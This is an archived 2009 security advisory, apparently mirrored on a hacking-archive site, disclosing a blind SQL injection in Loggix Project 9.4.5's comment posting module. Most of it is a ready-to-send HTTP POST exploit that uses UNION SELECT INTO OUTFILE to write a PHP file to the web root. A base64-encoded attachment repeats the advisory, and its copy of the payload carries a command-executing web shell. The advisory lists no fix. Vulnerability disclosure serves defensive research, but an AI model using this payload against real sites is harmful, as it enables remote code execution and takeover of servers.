AOH :: HP Unsorted L :: VA3131.HTM

Loggix Project 9.4.5 Blind SQL Injection



Loggix Project 9.4.5 Blind SQL Injection
Loggix Project 9.4.5 Blind SQL Injection



--001636c5b6dae717cb0467344dd1
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Loggix Project
[+] Version: 9.4.5
[+] Website: http://loggix.gotdns.org 

[+] Bugs: [A] Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: modules/comment/post.php

This bug allows a guest to execute arbitrary
queries.


*************************************************

[+] Code


- [A] Blind SQL Injection

POST /path/modules/comment/post.php HTTP/1.1\r\n
Host: site\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 177\r\n
\r\n
title=title&comment=comment&user_name=user&user_pass=password&parent_key=key&refer_id=-1'
UNION ALL SELECT '' INTO OUTFILE
'/var/www/htdocs/rce.php


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

--001636c5b6dae717cb0467344dd1
Content-Type: text/plain; charset=US-ASCII; 
	name="Loggix Project 9.4.5 Blind SQL Injection-10042009.txt"
Content-Disposition: attachment; 
	filename="Loggix Project 9.4.5 Blind SQL Injection-10042009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ftczf80m0

KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiBMb2dnaXggUHJvamVjdApbK10gVmVyc2lvbjogOS40LjUKWytdIFdlYnNpdGU6
IGh0dHA6Ly9sb2dnaXguZ290ZG5zLm9yZwoKWytdIEJ1Z3M6IFtBXSBCbGluZCBTUUwgSW5qZWN0
aW9uCgpbK10gRXhwbG9pdGF0aW9uOiBSZW1vdGUKWytdIERhdGU6IDEwIEFwciAyMDA5CgpbK10g
RGlzY292ZXJlZCBieTogU2FsdmF0b3JlICJkcm9zb3BoaWxhIiBGcmVzdGEKWytdIEF1dGhvcjog
U2FsdmF0b3JlICJkcm9zb3BoaWxhIiBGcmVzdGEKWytdIENvbnRhY3Q6IGUtbWFpbDogZHJvc29w
aGlsYXh4eEBnbWFpbC5jb20KCgoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqCgpbK10gTWVudQoKMSkgQnVncwoyKSBDb2RlCjMpIEZpeAoKCioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKClsrXSBCdWdzCgoKLSBb
QV0gQmxpbmQgU1FMIEluamVjdGlvbgoKWy1dIFJpc2s6IG1lZGl1bQpbLV0gUmVxdWlzaXRlczog
bWFnaWNfcXVvdGVzX2dwYyA9IG9mZgpbLV0gRmlsZSBhZmZlY3RlZDogbW9kdWxlcy9jb21tZW50
L3Bvc3QucGhwCgpUaGlzIGJ1ZyBhbGxvd3MgYSBndWVzdCB0byBleGVjdXRlIGFyYml0cmFyeQpx
dWVyaWVzLgoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioKClsrXSBDb2RlCgoKLSBbQV0gQmxpbmQgU1FMIEluamVjdGlvbgoKUE9TVCAvcGF0aC9tb2R1
bGVzL2NvbW1lbnQvcG9zdC5waHAgSFRUUC8xLjFcclxuCkhvc3Q6IHNpdGVcclxuCktlZXAtQWxp
dmU6IDMwMFxyXG4KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZVxyXG4KQ29udGVudC1UeXBlOiBhcHBs
aWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuCkNvbnRlbnQtTGVuZ3RoOiAxNzdcclxu
ClxyXG4KdGl0bGU9dGl0bGUmY29tbWVudD1jb21tZW50JnVzZXJfbmFtZT11c2VyJnVzZXJfcGFz
cz1wYXNzd29yZCZwYXJlbnRfa2V5PWtleSZyZWZlcl9pZD0tMScgVU5JT04gQUxMIFNFTEVDVCAn
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+JyBJTlRPIE9VVEZJTEUgJy92YXIvd3d3L2h0
ZG9jcy9yY2UucGhwCgoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKgoKWytdIEZpeAoKTm8gZml4LgoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKio--001636c5b6dae717cb0467344dd1--

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.